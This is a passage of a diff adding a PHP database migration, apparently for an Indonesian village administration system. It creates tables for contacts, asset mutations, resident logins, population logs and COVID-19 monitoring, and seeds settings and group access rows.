DEFAULT NULL, + `id_terdata` varchar(20) DEFAULT NULL, + `sasaran` tinyint(4) DEFAULT NULL, + `keterangan` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_suplemen` (`id_suplemen`), + CONSTRAINT `suplemen_terdata_ibfk_1` FOREIGN KEY (`id_suplemen`) REFERENCES `suplemen` (`id`) ON DELETE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `kontak` ( + `id_kontak` int(11) NOT NULL AUTO_INCREMENT, + `id_pend` int(11) DEFAULT NULL, + `no_hp` varchar(15) DEFAULT NULL, + PRIMARY KEY (`id_kontak`), + KEY `kontak_ke_tweb_penduduk` (`id_pend`), + CONSTRAINT `kontak_ke_tweb_penduduk` FOREIGN KEY (`id_pend`) REFERENCES `tweb_penduduk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `anggota_grup_kontak` ( + `id_grup_kontak` int(11) NOT NULL AUTO_INCREMENT, + `id_grup` int(11) NOT NULL, + `id_kontak` int(11) NOT NULL, + PRIMARY KEY (`id_grup_kontak`), + KEY `anggota_grup_kontak_ke_kontak` (`id_kontak`), + KEY `anggota_grup_kontak_ke_kontak_grup` (`id_grup`), + CONSTRAINT `anggota_grup_kontak_ke_kontak` FOREIGN KEY (`id_kontak`) REFERENCES `kontak` (`id_kontak`) ON DELETE CASCADE ON UPDATE CASCADE, + CONSTRAINT `anggota_grup_kontak_ke_kontak_grup` FOREIGN KEY (`id_grup`) REFERENCES `kontak_grup` (`id_grup`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `mutasi_inventaris_asset` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_inventaris_asset` int(11) DEFAULT NULL, + `jenis_mutasi` varchar(100) DEFAULT NULL, + `tahun_mutasi` date NOT NULL, + `harga_jual` double DEFAULT NULL, + `sumbangkan` varchar(255) DEFAULT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `visible` int(1) NOT NULL DEFAULT 1, + `status_mutasi` varchar(50) NOT NULL, + PRIMARY KEY (`id`), + KEY `FK_mutasi_inventaris_asset` (`id_inventaris_asset`), + CONSTRAINT `FK_mutasi_inventaris_asset` FOREIGN KEY (`id_inventaris_asset`) REFERENCES `inventaris_asset` (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `mutasi_inventaris_gedung` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_inventaris_gedung` int(11) DEFAULT NULL, + `jenis_mutasi` varchar(100) DEFAULT NULL, + `tahun_mutasi` date NOT NULL, + `harga_jual` double DEFAULT NULL, + `sumbangkan` varchar(255) DEFAULT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `visible` int(1) NOT NULL DEFAULT 1, + `status_mutasi` varchar(50) NOT NULL, + PRIMARY KEY (`id`), + KEY `FK_mutasi_inventaris_gedung` (`id_inventaris_gedung`), + CONSTRAINT `FK_mutasi_inventaris_gedung` FOREIGN KEY (`id_inventaris_gedung`) REFERENCES `inventaris_gedung` (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `mutasi_inventaris_jalan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_inventaris_jalan` int(11) DEFAULT NULL, + `jenis_mutasi` varchar(100) DEFAULT NULL, + `tahun_mutasi` date NOT NULL, + `harga_jual` double DEFAULT NULL, + `sumbangkan` varchar(255) DEFAULT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `visible` int(1) NOT NULL DEFAULT 1, + `status_mutasi` varchar(50) NOT NULL, + PRIMARY KEY (`id`), + KEY `FK_mutasi_inventaris_jalan` (`id_inventaris_jalan`), + CONSTRAINT `FK_mutasi_inventaris_jalan` FOREIGN KEY (`id_inventaris_jalan`) REFERENCES `inventaris_jalan` (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `mutasi_inventaris_peralatan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_inventaris_peralatan` int(11) DEFAULT NULL, + `jenis_mutasi` varchar(100) DEFAULT NULL, + `tahun_mutasi` date NOT NULL, + `harga_jual` double DEFAULT NULL, + `sumbangkan` varchar(255) DEFAULT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `visible` int(1) NOT NULL DEFAULT 1, + `status_mutasi` varchar(50) NOT NULL, + PRIMARY KEY (`id`), + KEY `FK_mutasi_inventaris_peralatan` (`id_inventaris_peralatan`), + CONSTRAINT `FK_mutasi_inventaris_peralatan` FOREIGN KEY (`id_inventaris_peralatan`) REFERENCES `inventaris_peralatan` (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `mutasi_inventaris_tanah` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_inventaris_tanah` int(11) DEFAULT NULL, + `jenis_mutasi` varchar(100) DEFAULT NULL, + `tahun_mutasi` date NOT NULL, + `harga_jual` double DEFAULT NULL, + `sumbangkan` varchar(255) DEFAULT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `visible` int(1) NOT NULL DEFAULT 1, + `status_mutasi` varchar(50) NOT NULL, + PRIMARY KEY (`id`), + KEY `FK_mutasi_inventaris_tanah` (`id_inventaris_tanah`), + CONSTRAINT `FK_mutasi_inventaris_tanah` FOREIGN KEY (`id_inventaris_tanah`) REFERENCES `inventaris_tanah` (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `disposisi_surat_masuk` ( + `id_disposisi` int(11) NOT NULL AUTO_INCREMENT, + `id_surat_masuk` int(11) NOT NULL, + `id_desa_pamong` int(11) DEFAULT NULL, + `disposisi_ke` varchar(50) DEFAULT NULL, + PRIMARY KEY (`id_disposisi`), + KEY `id_surat_fk` (`id_surat_masuk`), + KEY `desa_pamong_fk` (`id_desa_pamong`), + CONSTRAINT `desa_pamong_fk` FOREIGN KEY (`id_desa_pamong`) REFERENCES `tweb_desa_pamong` (`pamong_id`) ON DELETE CASCADE ON UPDATE CASCADE, + CONSTRAINT `id_surat_fk` FOREIGN KEY (`id_surat_masuk`) REFERENCES `surat_masuk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `tweb_penduduk_mandiri` ( + `pin` char(32) NOT NULL, + `last_login` datetime DEFAULT NULL, + `tanggal_buat` datetime DEFAULT NULL, + `id_pend` int(9) NOT NULL, + `aktif` int(1) DEFAULT 1, + `scan_ktp` varchar(100) DEFAULT NULL, + `scan_kk` varchar(100) DEFAULT NULL, + `foto_selfie` varchar(100) DEFAULT NULL, + `ganti_pin` tinyint(1) NOT NULL DEFAULT 1, + `email_verified_at` timestamp NULL DEFAULT NULL, + `remember_token` varchar(100) DEFAULT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + PRIMARY KEY (`id_pend`), + CONSTRAINT `id_pend_fk` FOREIGN KEY (`id_pend`) REFERENCES `tweb_penduduk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `setting_aplikasi_options` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_setting` int(11) NOT NULL, + `value` varchar(512) NOT NULL, + `kode` tinyint(4) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_setting_fk` (`id_setting`), + CONSTRAINT `id_setting_fk` FOREIGN KEY (`id_setting`) REFERENCES `setting_aplikasi` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::table('setting_aplikasi_options')->insert([ + [ + 'id' => 1, + 'id_setting' => 24, + 'value' => 'Nomor berurutan untuk masing-masing surat masuk dan keluar; dan untuk semua surat layanan', + 'kode' => null, + ], + [ + 'id' => 2, + 'id_setting' => 24, + 'value' => 'Nomor berurutan untuk masing-masing surat masuk dan keluar; dan untuk setiap surat layanan dengan jenis yang sama', + 'kode' => null, + ], + [ + 'id' => 3, + 'id_setting' => 24, + 'value' => 'Nomor berurutan untuk keseluruhan surat layanan, masuk dan keluar', + 'kode' => null, + ], + [ + 'id' => 4, + 'id_setting' => 27, + 'value' => 'skin-blue', + 'kode' => null, + ], + [ + 'id' => 5, + 'id_setting' => 27, + 'value' => 'skin-blue-light', + 'kode' => null, + ], + [ + 'id' => 6, + 'id_setting' => 27, + 'value' => 'skin-yellow', + 'kode' => null, + ], + [ + 'id' => 7, + 'id_setting' => 27, + 'value' => 'skin-yellow-light', + 'kode' => null, + ], + [ + 'id' => 8, + 'id_setting' => 27, + 'value' => 'skin-green', + 'kode' => null, + ], + [ + 'id' => 9, + 'id_setting' => 27, + 'value' => 'skin-green-light', + 'kode' => null, + ], + [ + 'id' => 10, + 'id_setting' => 27, + 'value' => 'skin-purple', + 'kode' => null, + ], + [ + 'id' => 11, + 'id_setting' => 27, + 'value' => 'skin-purple-light', + 'kode' => null, + ], + [ + 'id' => 12, + 'id_setting' => 27, + 'value' => 'skin-red', + 'kode' => null, + ], + [ + 'id' => 13, + 'id_setting' => 27, + 'value' => 'skin-red-light', + 'kode' => null, + ], + [ + 'id' => 14, + 'id_setting' => 27, + 'value' => 'skin-black', + 'kode' => null, + ], + [ + 'id' => 15, + 'id_setting' => 27, + 'value' => 'skin-black-light', + 'kode' => null, + ], + [ + 'id' => 16, + 'id_setting' => 12, + 'value' => 'Web bisa diakses publik', + 'kode' => 0, + ], + [ + 'id' => 17, + 'id_setting' => 12, + 'value' => 'Web hanya bisa diakses petugas web', + 'kode' => 1, + ], + [ + 'id' => 18, + 'id_setting' => 12, + 'value' => 'Web non-aktif sama sekali', + 'kode' => 2, + ], + [ + 'id' => 52, + 'id_setting' => 605, + 'value' => 'Tidak Aktif', + 'kode' => 0, + ], + ['id' => 53, 'id_setting' => 605, 'value' => 'Slider', 'kode' => 1], + ['id' => 54, 'id_setting' => 605, 'value' => 'Video', 'kode' => 2], + ]); + + DB::statement(' + CREATE TABLE `log_penduduk` ( + `id` int(10) NOT NULL AUTO_INCREMENT, + `id_pend` int(11) NOT NULL, + `kode_peristiwa` int(11) DEFAULT NULL, + `meninggal_di` varchar(50) DEFAULT NULL, + `jam_mati` varchar(10) DEFAULT NULL, + `sebab` varchar(50) DEFAULT NULL, + `penolong_mati` varchar(50) DEFAULT NULL, + `akta_mati` varchar(50) DEFAULT NULL, + `alamat_tujuan` tinytext DEFAULT NULL, + `tgl_lapor` timestamp NOT NULL DEFAULT current_timestamp(), + `tgl_peristiwa` datetime DEFAULT current_timestamp(), + `catatan` text DEFAULT NULL, + `no_kk` varchar(16) DEFAULT NULL, + `nama_kk` varchar(100) DEFAULT NULL, + `ref_pindah` tinyint(4) DEFAULT 1, + `created_at` timestamp NULL DEFAULT current_timestamp(), + `created_by` int(11) DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `updated_by` int(11) DEFAULT NULL, + `maksud_tujuan_kedatangan` varchar(50) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `id_pend` (`id_pend`,`kode_peristiwa`,`tgl_peristiwa`), + KEY `id_ref_pindah` (`ref_pindah`), + CONSTRAINT `id_ref_pindah` FOREIGN KEY (`ref_pindah`) REFERENCES `ref_pindah` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `agenda` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_artikel` int(11) NOT NULL, + `tgl_agenda` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `koordinator_kegiatan` varchar(50) NOT NULL, + `lokasi_kegiatan` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_artikel_fk` (`id_artikel`), + CONSTRAINT `id_artikel_fk` FOREIGN KEY (`id_artikel`) REFERENCES `artikel` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `syarat_surat` ( + `id` int(10) NOT NULL AUTO_INCREMENT, + `surat_format_id` int(10) NOT NULL, + `ref_syarat_id` int(10) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_surat_format` (`surat_format_id`), + CONSTRAINT `id_surat_format` FOREIGN KEY (`surat_format_id`) REFERENCES `tweb_surat_format` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::table('syarat_surat')->insert([ + ['id' => 1, 'surat_format_id' => 1, 'ref_syarat_id' => 1], + ['id' => 2, 'surat_format_id' => 1, 'ref_syarat_id' => 2], + ['id' => 3, 'surat_format_id' => 1, 'ref_syarat_id' => 3], + ['id' => 4, 'surat_format_id' => 2, 'ref_syarat_id' => 2], + ['id' => 5, 'surat_format_id' => 2, 'ref_syarat_id' => 3], + ['id' => 6, 'surat_format_id' => 3, 'ref_syarat_id' => 2], + ['id' => 7, 'surat_format_id' => 3, 'ref_syarat_id' => 3], + ['id' => 8, 'surat_format_id' => 5, 'ref_syarat_id' => 1], + ['id' => 9, 'surat_format_id' => 5, 'ref_syarat_id' => 2], + ['id' => 10, 'surat_format_id' => 5, 'ref_syarat_id' => 3], + ['id' => 11, 'surat_format_id' => 6, 'ref_syarat_id' => 1], + ['id' => 12, 'surat_format_id' => 6, 'ref_syarat_id' => 2], + ['id' => 13, 'surat_format_id' => 6, 'ref_syarat_id' => 3], + ['id' => 14, 'surat_format_id' => 8, 'ref_syarat_id' => 1], + ['id' => 15, 'surat_format_id' => 8, 'ref_syarat_id' => 2], + ['id' => 16, 'surat_format_id' => 8, 'ref_syarat_id' => 3], + ['id' => 17, 'surat_format_id' => 9, 'ref_syarat_id' => 2], + ['id' => 18, 'surat_format_id' => 9, 'ref_syarat_id' => 3], + ['id' => 19, 'surat_format_id' => 10, 'ref_syarat_id' => 1], + ['id' => 20, 'surat_format_id' => 10, 'ref_syarat_id' => 2], + ['id' => 21, 'surat_format_id' => 10, 'ref_syarat_id' => 3], + ['id' => 22, 'surat_format_id' => 11, 'ref_syarat_id' => 1], + ['id' => 23, 'surat_format_id' => 11, 'ref_syarat_id' => 2], + ['id' => 24, 'surat_format_id' => 11, 'ref_syarat_id' => 3], + ['id' => 25, 'surat_format_id' => 12, 'ref_syarat_id' => 1], + ['id' => 26, 'surat_format_id' => 12, 'ref_syarat_id' => 2], + ['id' => 27, 'surat_format_id' => 12, 'ref_syarat_id' => 3], + ['id' => 28, 'surat_format_id' => 13, 'ref_syarat_id' => 1], + ['id' => 29, 'surat_format_id' => 13, 'ref_syarat_id' => 2], + ['id' => 30, 'surat_format_id' => 13, 'ref_syarat_id' => 3], + ['id' => 31, 'surat_format_id' => 14, 'ref_syarat_id' => 1], + ['id' => 32, 'surat_format_id' => 14, 'ref_syarat_id' => 2], + ['id' => 33, 'surat_format_id' => 14, 'ref_syarat_id' => 3], + ['id' => 34, 'surat_format_id' => 15, 'ref_syarat_id' => 1], + ['id' => 35, 'surat_format_id' => 15, 'ref_syarat_id' => 2], + ['id' => 36, 'surat_format_id' => 15, 'ref_syarat_id' => 3], + ]); + + DB::statement(' + CREATE TABLE `covid19_pemudik` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_terdata` int(11) DEFAULT NULL, + `tanggal_datang` date DEFAULT NULL, + `asal_mudik` varchar(255) DEFAULT NULL, + `durasi_mudik` varchar(50) DEFAULT NULL, + `tujuan_mudik` varchar(255) DEFAULT NULL, + `keluhan_kesehatan` varchar(255) DEFAULT NULL, + `status_covid` varchar(50) DEFAULT NULL, + `no_hp` varchar(20) DEFAULT NULL, + `email` varchar(255) DEFAULT NULL, + `keterangan` varchar(255) DEFAULT NULL, + `is_wajib_pantau` varchar(20) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `fk_pemudik_penduduk` (`id_terdata`), + CONSTRAINT `fk_pemudik_penduduk` FOREIGN KEY (`id_terdata`) REFERENCES `tweb_penduduk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `covid19_pantau` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_pemudik` int(11) DEFAULT NULL, + `tanggal_jam` datetime DEFAULT NULL, + `suhu_tubuh` decimal(4,2) DEFAULT NULL, + `batuk` varchar(20) DEFAULT NULL, + `flu` varchar(20) DEFAULT NULL, + `sesak_nafas` varchar(20) DEFAULT NULL, + `keluhan_lain` varchar(255) DEFAULT NULL, + `status_covid` varchar(50) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `fk_pantau_pemudik` (`id_pemudik`), + CONSTRAINT `fk_pantau_pemudik` FOREIGN KEY (`id_pemudik`) REFERENCES `covid19_pemudik` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(" + CREATE TABLE `kelompok_anggota` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_kelompok` int(11) NOT NULL, + `id_penduduk` int(11) NOT NULL, + `no_anggota` varchar(20) DEFAULT NULL, + `keterangan` text DEFAULT NULL, + `jabatan` varchar(50) DEFAULT '90', + `no_sk_jabatan` varchar(50) DEFAULT NULL, + `tipe` varchar(100) DEFAULT 'kelompok', + `periode` varchar(255) DEFAULT NULL, + `nmr_sk_pengangkatan` varchar(255) DEFAULT NULL, + `tgl_sk_pengangkatan` date DEFAULT NULL, + `nmr_sk_pemberhentian` varchar(255) DEFAULT NULL, + `tgl_sk_pemberhentian` date DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `id_kelompok` (`id_kelompok`,`id_penduduk`), + CONSTRAINT `kelompok_anggota_fk` FOREIGN KEY (`id_kelompok`) REFERENCES `kelompok` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + "); + + DB::statement(' + CREATE TABLE `log_keluarga` ( + `id` int(10) NOT NULL AUTO_INCREMENT, + `id_kk` int(11) NOT NULL, + `kk_sex` tinyint(2) DEFAULT NULL, + `id_peristiwa` int(4) NOT NULL, + `tgl_peristiwa` timestamp NOT NULL DEFAULT current_timestamp(), + `id_pend` int(11) DEFAULT NULL, + `updated_by` int(11) NOT NULL, + `id_log_penduduk` int(10) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `id_kk` (`id_kk`,`id_peristiwa`,`tgl_peristiwa`,`id_pend`), + KEY `log_penduduk_fk` (`id_log_penduduk`), + CONSTRAINT `log_penduduk_fk` FOREIGN KEY (`id_log_penduduk`) REFERENCES `log_penduduk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `grup_akses` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_grup` int(11) NOT NULL, + `id_modul` int(11) NOT NULL, + `akses` tinyint(4) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_grup` (`id_grup`), + KEY `id_modul` (`id_modul`), + CONSTRAINT `fk_id_grup` FOREIGN KEY (`id_grup`) REFERENCES `user_grup` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, + CONSTRAINT `fk_id_modul` FOREIGN KEY (`id_modul`) REFERENCES `setting_modul` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::table('grup_akses')->insert([ + ['id' => 1, 'id_grup' => 5, 'id_modul' => 3, 'akses' => 0], + ['id' => 2, 'id_grup' => 5, 'id_modul' => 27, 'akses' => 3], + ['id' => 3, 'id_grup' => 5, 'id_modul' => 206, 'akses' => 0], + ['id' => 4, 'id_grup' => 5, 'id_modul' => 207, 'akses' => 7], + ['id' => 5, 'id_grup' => 5, 'id_modul' => 208, 'akses' => 7], + ['id' => 6, 'id_grup' => 2, 'id_modul' => 1, 'akses' => 3], + ['id' => 7, 'id_grup' => 2, 'id_modul' => 2, 'akses' => 0], + ['id' => 8, 'id_grup' => 2, 'id_modul' => 3, 'akses' => 0], + ['id' => 9, 'id_grup' => 2, 'id_modul' => 4, 'akses' => 0], + ['id' => 10, 'id_grup' => 2, 'id_modul' => 5, 'akses' => 0], + ['id' => 11, 'id_grup' => 2, 'id_modul' => 6, 'akses' => 3], + ['id' => 12, 'id_grup' => 2, 'id_modul' => 7, 'akses' => 0], + ['id' => 13, 'id_grup' => 2, 'id_modul' => 8, 'akses' => 3], + ['id' => 14, 'id_grup' => 2, 'id_modul' => 9, 'akses' => 0], + ['id' => 15, 'id_grup' => 2, 'id_modul' => 10, 'akses' => 0], + ['id' => 16, 'id_grup' => 2, 'id_modul' => 11, 'akses' => 0], + ['id' => 17, 'id_grup' => 2, 'id_modul' => 13, 'akses' => 0], + ['id' => 18, 'id_grup' => 2, 'id_modul' => 14, 'akses' => 0], + ['id' => 19, 'id_grup' => 2, 'id_modul' => 15, 'akses' => 0], + ['id' => 20, 'id_grup' => 2, 'id_modul' => 17, 'akses' => 3], + ['id' => 21, 'id_grup' => 2, 'id_modul' => 18, 'akses' => 3], + ['id' => 22, 'id_grup' => 2, 'id_modul' => 20, 'akses' => 3], + ['id' => 23, 'id_grup' => 2, 'id_modul' => 21, 'akses' => 3], + ['id' => 24, 'id_grup' => 2, 'id_modul' => 22, 'akses' => 3], + ['id' => 25, 'id_grup' => 2, 'id_modul' => 23, 'akses' => 3], + ['id' => 26, 'id_grup' => 2, 'id_modul' => 24, 'akses' => 3], + ['id' => 27, 'id_grup' => 2, 'id_modul' => 25, 'akses' => 3], + ['id' => 28, 'id_grup' => 2, 'id_modul' => 26, 'akses' => 3], + ['id' => 29, 'id_grup' => 2, 'id_modul' => 27, 'akses' => 3], + ['id' => 30, 'id_grup' => 2, 'id_modul' => 28, 'akses' => 3], + ['id' => 31, 'id_grup' => 2, 'id_modul' => 29, 'akses' => 3], + ['id' => 32, 'id_grup' => 2, 'id_modul' => 30, 'akses' => 3], + ['id' => 33, 'id_grup' => 2, 'id_modul' => 31, 'akses' => 3], + ['id' => 34, 'id_grup' => 2, 'id_modul' => 32, 'akses' => 3], + ['id' => 35, 'id_grup' => 2, 'id_modul' => 33, 'akses' => 3], + ['id' => 36, 'id_grup' => 2, 'id_modul' => 39, 'akses' => 3], + ['id' => 37, 'id_grup' => 2, 'id_modul' => 40, 'akses' => 3], + ['id' => 38, 'id_grup' => 2, 'id_modul' => 41, 'akses' => 3], + ['id' => 39, 'id_grup' => 2, 'id_modul' => 42, 'akses' => 3], + ['id' => 40, 'id_grup' => 2, 'id_modul' => 47, 'akses' => 3], + ['id' => 41, 'id_grup' => 2, 'id_modul' => 48, 'akses' => 3], + ['id' => 42, 'id_grup' => 2, 'id_modul' => 49, 'akses' => 3], + ['id' => 43, 'id_grup' => 2, 'id_modul' => 50, 'akses' => 3], + ['id' => 44, 'id_grup' => 2, 'id_modul' => 51, 'akses' => 3], + ['id' => 45, 'id_grup' => 2, 'id_modul' => 52, 'akses' => 3], + ['id' => 46, 'id_grup' => 2, 'id_modul' => 53, 'akses' => 3], + ['id' => 47, 'id_grup' => 2, 'id_modul' => 54, 'akses' => 3], + ['id' => 48, 'id_grup' => 2, 'id_modul' => 55, 'akses' => 3], + ['id' => 49, 'id_grup' => 2, 'id_modul' => 56, 'akses' => 3], + ['id' => 50, 'id_grup' => 2, 'id_modul' => 57, 'akses' => 3], + ['id' => 51, 'id_grup' => 2, 'id_modul' => 58, 'akses' => 3], + ['id' => 52, 'id_grup' => 2, 'id_modul' => 61, 'akses' => 3], + ['id' => 53, 'id_grup' => 2, 'id_modul' => 62, 'akses' => 3], + ['id' => 54, 'id_grup' => 2, 'id_modul' => 63, 'akses' => 3], + ['id' => 55, 'id_grup' => 2, 'id_modul' => 64, 'akses' => 3], + ['id' => 56, 'id_grup' => 2, 'id_modul' => 65, 'akses' => 3], + ['id' => 57, 'id_grup' => 2, 'id_modul' => 66, 'akses' => 3], + ['id' => 58, 'id_grup' => 2, 'id_modul' => 67, 'akses' => 3], + ['id' => 59, 'id_grup' => 2, 'id_modul' => 68, 'akses' => 3], + ['id' => 60, 'id_grup' => 2, 'id_modul' => 69, 'akses' => 3], + ['id' => 61, 'id_grup' => 2, 'id_modul' => 70, 'akses' => 3], + ['id' => 62, 'id_grup' => 2, 'id_modul' => 71, 'akses' => 3], + ['id' => 63, 'id_grup' => 2, 'id_modul' => 72, 'akses' => 3], + ['id' => 64, 'id_grup' => 2, 'id_modul' => 73, 'akses' => 3], + ['id' => 65, 'id_grup' => 2, 'id_modul' => 75, 'akses' => 3], + ['id' => 66, 'id_grup' => 2, 'id_modul' => 76, 'akses' => 3], + ['id' => 67, 'id_grup' => 2, 'id_modul' => 77, 'akses' => 3], + ['id' => 68, 'id_grup' => 2, 'id_modul' => 78, 'akses' => 3], + ['id' => 69, 'id_grup' => 2, 'id_modul' => 79, 'akses' => 3], + ['id' => 70, 'id_grup' => 2, 'id_modul' => 80, 'akses' => 3], + ['id' => 71, 'id_grup' => 2, 'id_modul' => 81, 'akses' => 3], + ['id' => 72, 'id_grup' => 2, 'id_modul' => 82, 'akses' => 3], + ['id' => 73, 'id_grup' => 2, 'id_modul' => 83, 'akses' => 3], + ['id' => 74, 'id_grup' => 2, 'id_modul' => 84, 'akses' => 3], + ['id' => 75, 'id_grup' => 2, 'id_modul' => 85, 'akses' => 3], + ['id' => 76, 'id_grup' => 2, 'id_modul' => 86, 'akses' => 3], + ['id' => 77, 'id_grup' => 2, 'id_modul' => 87, 'akses' => 3], + ['id' => 78, 'id_grup' => 2, 'id_modul' => 88, 'akses' => 3], + ['id' => 79, 'id_grup' => 2, 'id_modul' => 89, 'akses' => 3], + ['id' => 80, 'id_grup' => 2, 'id_modul' => 90, 'akses' => 3], + ['id' => 81, 'id_grup' => 2, 'id_modul' => 91, 'akses' => 3], + ['id' => 82, 'id_grup' => 2, 'id_modul' => 92, 'akses' => 3], + ['id' => 83, 'id_grup' => 2, 'id_modul' => 93, 'akses' => 3], + ['id' => 84, 'id_grup' => 2, 'id_modul' => 94, 'akses' => 3], + ['id' => 85, 'id_grup' => 2, 'id_modul' => 95, 'akses' => 3], + ['id' => 86, 'id_grup' => 2, 'id_modul' => 96, 'akses' => 3], + ['id' => 87, 'id_grup' => 2, 'id_modul' => 97, 'akses' => 3], + ['id' => 88, 'id_grup' => 2, 'id_modul' => 98, 'akses' => 3], + ['id' => 89, 'id_grup' => 2, 'id_modul' => 101, 'akses' => 3], + ['id' => 90, 'id_grup' => 2, 'id_modul' => 200, 'akses' => 0], + ['id' => 91, 'id_grup' => 2, 'id_modul' => 201, 'akses' => 0], + ['id' => 92, 'id_grup' => 2, 'id_modul' => 202, 'akses' => 3], + ['id' => 93, 'id_grup' => 2, 'id_modul' => 203, 'akses' => 3], + ['id' => 94, 'id_grup' => 2, 'id_modul' => 205, 'akses' => 3], + ['id' => 95, 'id_grup' => 2, 'id_modul' => 206, 'akses' => 0], + ['id' => 96, 'id_grup' => 2, 'id_modul' => 207, 'akses' => 7], + ['id' => 97, 'id_grup' => 2, 'id_modul' => 208, 'akses' => 7], + ['id' => 98, 'id_grup' => 2, 'id_modul' => 209, 'akses' => 3], + ['id' => 99, 'id_grup' => 2, 'id_modul' => 210, 'akses' => 3], + ['id' => 100, 'id_grup' => 2, 'id_modul' => 211, 'akses' => 3], + ['id' => 101, 'id_grup' => 2, 'id_modul' => 212, 'akses' => 3], + ['id' => 102, 'id_grup' => 2, 'id_modul' => 213, 'akses' => 3], + ['id' => 105, 'id_grup' => 2, 'id_modul' => 301, 'akses' => 0], + ['id' => 106, 'id_grup' => 2, 'id_modul' => 302, 'akses' => 3], + ['id' => 107, 'id_grup' => 2, 'id_modul' => 303, 'akses' => 3], + ['id' => 108, 'id_grup' => 2, 'id_modul' => 304, 'akses' => 3], + ['id' => 109, 'id_grup' => 2, 'id_modul' => 305, 'akses' => 3], + ['id' => 110, 'id_grup' => 2, 'id_modul' => 310, 'akses' => 3], + ['id' => 111, 'id_grup' => 2, 'id_modul' => 311, 'akses' => 3], + ['id' => 112, 'id_grup' => 2, 'id_modul' => 312, 'akses' => 3], + ['id' => 113, 'id_grup' => 2, 'id_modul' => 314, 'akses' => 3], + ['id' => 114, 'id_grup' => 2, 'id_modul' => 315, 'akses' => 3], + ['id' => 115, 'id_grup' => 2, 'id_modul' => 316, 'akses' => 3], + ['id' => 116, 'id_grup' => 2, 'id_modul' => 317, 'akses' => 3], + ['id' => 117, 'id_grup' => 2, 'id_modul' => 318, 'akses' => 3], + ['id' => 118, 'id_grup' => 3, 'id_modul' => 13, 'akses' => 0], + ['id' => 119, 'id_grup' => 3, 'id_modul' => 47, 'akses' => 7], + ['id' => 120, 'id_grup' => 3, 'id_modul' => 48, 'akses' => 7], + ['id' => 121, 'id_grup' => 3, 'id_modul' => 49, 'akses' => 7], + ['id' => 122, 'id_grup' => 3, 'id_modul' => 50, 'akses' => 7], + ['id' => 123, 'id_grup' => 3, 'id_modul' => 51, 'akses' => 7], + ['id' => 124, 'id_grup' => 3, 'id_modul' => 53, 'akses' => 7], + ['id' => 125, 'id_grup' => 3, 'id_modul' => 54, 'akses' => 7], + ['id' => 126, 'id_grup' => 3, 'id_modul' => 64, 'akses' => 7], + ['id' => 127, 'id_grup' => 3, 'id_modul' 